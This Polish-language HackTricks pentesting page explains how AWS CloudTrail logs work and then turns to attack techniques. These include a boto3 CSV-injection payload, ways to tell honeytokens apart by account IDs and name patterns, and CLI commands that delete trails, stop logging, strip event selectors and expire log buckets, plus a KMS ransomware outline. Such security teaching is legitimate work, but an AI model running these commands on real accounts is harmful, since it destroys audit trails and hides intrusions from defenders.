AWS - CloudTrail Enum

Support HackTricks

CloudTrail

AWS CloudTrail rejestruje i monitoruje aktywność w Twoim środowisku AWS. Zbiera szczegółowe logi zdarzeń, w tym kto, co, kiedy i skąd, dla wszystkich interakcji z zasobami AWS. Zapewnia to ścieżkę audytu zmian i działań, wspomagając analizę bezpieczeństwa, audyt zgodności i śledzenie zmian zasobów. CloudTrail jest niezbędny do zrozumienia zachowań użytkowników i zasobów, poprawy postawy bezpieczeństwa i zapewnienia zgodności z przepisami.

Każde zarejestrowane zdarzenie zawiera:

  • Nazwę wywołanego API: eventName

  • Wywołaną usługę: eventSource

  • Czas: eventTime

  • Adres IP: SourceIPAddress

  • Metodę agenta: userAgent. Przykłady:

  • Signing.amazonaws.com - Z AWS Management Console

  • console.amazonaws.com - Użytkownik root konta

  • lambda.amazonaws.com - AWS Lambda

  • Parametry żądania: requestParameters

  • Elementy odpowiedzi: responseElements

Zdarzenia są zapisywane do nowego pliku logu mniej więcej co 5 minut w pliku JSON, są przechowywane przez CloudTrail, a ostatecznie pliki logów są dostarczane do S3 około 15 minut później. Logi CloudTrail mogą być agregowane między kontami i regionami. CloudTrail pozwala na użycie integralności plików logów, aby móc zweryfikować, że Twoje pliki logów nie zostały zmienione od momentu ich dostarczenia przez CloudTrail. Tworzy SHA-256 hash logów wewnątrz pliku digest. SHA-256 hash nowych logów jest tworzony co godzinę. Podczas tworzenia Trail selektory zdarzeń pozwolą Ci wskazać, które zdarzenia mają być logowane: zarządzanie, dane lub wgląd.

Logi są zapisywane w wiadrze S3. Domyślnie używane jest szyfrowanie po stronie serwera (SSE-S3), więc AWS odszyfruje zawartość dla osób, które mają do niej dostęp, ale dla dodatkowego bezpieczeństwa możesz użyć SSE z KMS i własnymi kluczami.

Logi są przechowywane w wiadrze S3 o następującym formacie nazwy:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Nazwa wiadra: aws-cloudtrail-logs-<accountid>-<random>

  • Przykład: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Wewnątrz każdego folderu każdy log będzie miał nazwę w następującym formacie: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Konwencja nazewnictwa plików logów

Ponadto, pliki digest (do sprawdzania integralności plików) będą w tym samym wiadrze w:

Agregowanie logów z wielu kont

  • Utwórz Trial na koncie AWS, na które chcesz dostarczać pliki logów

  • Zastosuj uprawnienia do docelowego wiadra S3, umożliwiając dostęp między kontami dla CloudTrail i pozwól każdemu kontu AWS, które potrzebuje dostępu

  • Utwórz nowy Trail na innych kontach AWS i wybierz użycie utworzonego wiadra w kroku 1

Jednakże, nawet jeśli możesz zapisać wszystkie logi w tym samym wiadrze S3, nie możesz agregować logów CloudTrail z wielu kont do CloudWatch Logs należących do jednego konta AWS.

Pamiętaj, że konto może mieć różne Trails z CloudTrail włączone przechowujące te same (lub różne) logi w różnych wiadrach.

Cloudtrail ze wszystkich kont organizacji do jednego

Podczas tworzenia CloudTrail, możliwe jest wskazanie, aby aktywować cloudtrail dla wszystkich kont w organizacji i uzyskać logi w jednym wiadrze:

W ten sposób możesz łatwo skonfigurować CloudTrail we wszystkich regionach wszystkich kont i scentralizować logi na jednym koncie (które powinieneś chronić).

Sprawdzanie plików logów

Możesz sprawdzić, czy logi nie zostały zmienione, uruchamiając

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail może automatycznie wysyłać logi do CloudWatch, dzięki czemu możesz ustawić alerty ostrzegające o podejrzanych działaniach. Należy pamiętać, że aby CloudTrail mógł wysyłać logi do CloudWatch, musi zostać utworzona rola, która na to pozwala. Jeśli to możliwe, zaleca się użycie domyślnej roli AWS do wykonywania tych działań. Ta rola pozwoli CloudTrail na:

  • CreateLogStream: Pozwala na tworzenie strumieni logów CloudWatch Logs

  • PutLogEvents: Dostarczanie logów CloudTrail do strumienia logów CloudWatch Logs

Event History

CloudTrail Event History pozwala na przeglądanie w tabeli logów, które zostały zarejestrowane:

Insights

CloudTrail Insights automatycznie analizuje zdarzenia zarządzania zapisem z tras CloudTrail i ostrzega o nietypowej aktywności. Na przykład, jeśli nastąpi wzrost zdarzeń TerminateInstance, który różni się od ustalonych bazowych wartości, zobaczysz to jako zdarzenie Insight. Te zdarzenia sprawiają, że znalezienie i reagowanie na nietypową aktywność API jest łatwiejsze niż kiedykolwiek.

Wnioski są przechowywane w tym samym bucket co logi CloudTrail w: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

CloudTrail Log File Integrity

  • Sprawdź, czy logi zostały zmodyfikowane lub usunięte

  • Używa plików digest (tworzy hash dla każdego pliku)

    • SHA-256 hashing

    • SHA-256 z RSA do podpisu cyfrowego

    • klucz prywatny należący do Amazon

  • Tworzenie pliku digest trwa 1 godzinę (co godzinę)

Stop unauthorized access

  • Użyj polityk IAM i polityk bucket S3

    • zespół bezpieczeństwa —> dostęp administracyjny

    • audytorzy —> dostęp tylko do odczytu

  • Użyj SSE-S3/SSE-KMS do szyfrowania logów

Prevent log files from being deleted

  • Ogranicz dostęp do usuwania za pomocą polityk IAM i polityk bucket

  • Skonfiguruj S3 MFA delete

  • Sprawdź za pomocą Log File Validation

Access Advisor

AWS Access Advisor opiera się na ostatnich 400 dniach logów AWS CloudTrail, aby zebrać swoje wnioski. CloudTrail rejestruje historię wywołań API AWS i powiązanych zdarzeń w koncie AWS. Access Advisor wykorzystuje te dane, aby pokazać, kiedy usługi były ostatnio używane. Analizując logi CloudTrail, Access Advisor może określić, które usługi AWS użytkownik IAM lub rola uzyskały dostęp i kiedy ten dostęp miał miejsce. Pomaga to administratorom AWS podejmować świadome decyzje dotyczące doprecyzowania uprawnień, ponieważ mogą zidentyfikować usługi, które nie były używane przez dłuższy czas i potencjalnie zmniejszyć zbyt szerokie uprawnienia na podstawie rzeczywistych wzorców użytkowania.

Dlatego Access Advisor informuje o niepotrzebnych uprawnieniach przyznanych użytkownikom, aby administrator mógł je usunąć

Actions

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

Możliwe jest przeprowadzenie ataku CSV injection w CloudTrail, który wykona dowolny kod, jeśli logi zostaną wyeksportowane w formacie CSV i otwarte w Excelu. Poniższy kod wygeneruje wpis logu z nieprawidłową nazwą Trail zawierającą payload:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

For more information about CSV Injections check the page:

For more information about this specific technique check https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Bypass Detection

HoneyTokens bypass

Honeyokens są tworzone, aby wykrywać wyciek wrażliwych informacji. W przypadku AWS są to klucze AWS, których użycie jest monitorowane, jeśli coś wywoła działanie z tym kluczem, to ktoś musiał ukraść ten klucz.

Jednak Honeytokens, takie jak te stworzone przez Canarytokens, SpaceCrab, SpaceSiren używają albo rozpoznawalnej nazwy konta, albo tego samego ID konta AWS dla wszystkich swoich klientów. Dlatego, jeśli możesz uzyskać nazwę konta i/lub ID konta bez tworzenia jakiegokolwiek logu przez Cloudtrail, możesz dowiedzieć się, czy klucz jest honeytokenem, czy nie.

Pacu ma kilka reguł do wykrywania, czy klucz należy do Canarytokens, SpaceCrab, SpaceSiren:

  • Jeśli canarytokens.org pojawia się w nazwie roli lub ID konta 534261010715 pojawia się w komunikacie o błędzie.

  • Testując je bardziej niedawno, używają konta 717712589309 i nadal mają ciąg canarytokens.com w nazwie.

  • Jeśli SpaceCrab pojawia się w nazwie roli w komunikacie o błędzie.

  • SpaceSiren używa uuids do generowania nazw użytkowników: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Jeśli nazwa wygląda na losowo wygenerowaną, istnieje duże prawdopodobieństwo, że jest to HoneyToken.

Uzyskaj ID konta z ID klucza

Możesz uzyskać ID konta z zakodowanego wewnątrz klucza dostępu, jak wyjaśniono tutaj i sprawdzić ID konta z listą kont Honeytokens AWS:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Sprawdź więcej informacji w oryginalnym badaniu.

Nie generuj logu

Najbardziej efektywna technika jest w rzeczywistości prosta. Po prostu użyj klucza, który właśnie znalazłeś, aby uzyskać dostęp do jakiejś usługi w swoim własnym koncie atakującego. To sprawi, że CloudTrail wygeneruje log w TWOIM WŁASNYM koncie AWS, a nie w koncie ofiary.

Rzecz w tym, że wynik pokaże błąd wskazujący ID konta i nazwę konta, więc będziesz mógł zobaczyć, czy to jest Honeytoken.

Usługi AWS bez logów

W przeszłości były pewne usługi AWS, które nie wysyłały logów do CloudTrail (znajdź listę tutaj). Niektóre z tych usług odpowiedzą błędem zawierającym ARN roli klucza, jeśli ktoś nieautoryzowany (klucz honeytoken) spróbuje uzyskać do nich dostęp.

W ten sposób atakujący może uzyskać ARN klucza bez wywoływania jakiegokolwiek logu. W ARN atakujący może zobaczyć ID konta AWS i nazwę, łatwo jest poznać ID i nazwy kont firm HoneyToken, więc w ten sposób atakujący może zidentyfikować, czy token jest HoneyToken.

Zauważ, że wszystkie publiczne API, które odkryto, że nie tworzą logów CloudTrail, są teraz naprawione, więc może będziesz musiał znaleźć swoje własne...

Więcej informacji znajdziesz w oryginalnym badaniu.

Dostęp do infrastruktury zewnętrznej

Niektóre usługi AWS tworzą pewną infrastrukturę, taką jak bazy danych lub klastry Kubernetes (EKS). Użytkownik komunikujący się bezpośrednio z tymi usługami (jak API Kubernetes) nie używa API AWS, więc CloudTrail nie będzie w stanie zobaczyć tej komunikacji.

Dlatego użytkownik z dostępem do EKS, który odkrył URL API EKS, może wygenerować token lokalnie i komunikować się bezpośrednio z usługą API bez wykrycia przez CloudTrail.

Więcej informacji w:

AWS - EKS Post Exploitation

Modyfikowanie konfiguracji CloudTrail

Usuwanie śladów

aws cloudtrail delete-trail --name [trail-name]

Zatrzymaj trails

aws cloudtrail stop-logging --name <trail_name>

Start trails

aws cloudtrail start-logging --name <trail_name>

List trails

aws cloudtrail describe-trails

Get trail status

aws cloudtrail get-trail-status --name <trail_name>

Delete trails

aws cloudtrail delete-trail --name <trail_name>

Create trails

aws cloudtrail create-trail --name <trail_name> --s3-bucket-name <bucket_name>

Update trails

aws cloudtrail update-trail --name <trail_name> --s3-bucket-name <bucket_name>

Lookup events

aws cloudtrail lookup-events

List public keys

aws cloudtrail list-public-keys

List tags

aws cloudtrail list-tags --resource-id-list <trail_arn>

Add tags

aws cloudtrail add-tags --resource-id <trail_arn> --tags-list Key=<key>,Value=<value>

Remove tags

aws cloudtrail remove-tags --resource-id <trail_arn> --tags-list Key=<key>
aws cloudtrail stop-logging --name [trail-name]

Wyłącz logowanie w wielu regionach

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Wyłączanie logowania przez selektory zdarzeń

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

W pierwszym przykładzie, pojedynczy selektor zdarzeń jest podany jako tablica JSON z jednym obiektem. "ReadWriteType": "ReadOnly" wskazuje, że selektor zdarzeń powinien rejestrować tylko zdarzenia tylko do odczytu (więc CloudTrail insights nie będzie sprawdzać zdarzeń zapisu na przykład).

Możesz dostosować selektor zdarzeń w oparciu o swoje specyficzne wymagania.

Usuwanie logów za pomocą polityki cyklu życia S3

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Modyfikacja konfiguracji Bucket

  • Usuń S3 bucket

  • Zmień politykę bucket, aby odmówić wszelkich zapisów z usługi CloudTrail

  • Dodaj politykę cyklu życia do S3 bucket, aby usuwać obiekty

  • Wyłącz klucz kms używany do szyfrowania logów CloudTrail

Cloudtrail ransomware

S3 ransomware

Możesz wygenerować klucz asymetryczny i sprawić, że CloudTrail zaszyfruje dane tym kluczem, a następnie usunąć klucz prywatny, aby zawartość CloudTrail nie mogła zostać odzyskana. To jest zasadniczo S3-KMS ransomware wyjaśnione w:

AWS - S3 Post Exploitation

KMS ransomware

To jest łatwiejszy sposób na przeprowadzenie poprzedniego ataku z różnymi wymaganiami dotyczącymi uprawnień:

AWS - KMS Post Exploitation

Referencje

Wspieraj HackTricks

Last updated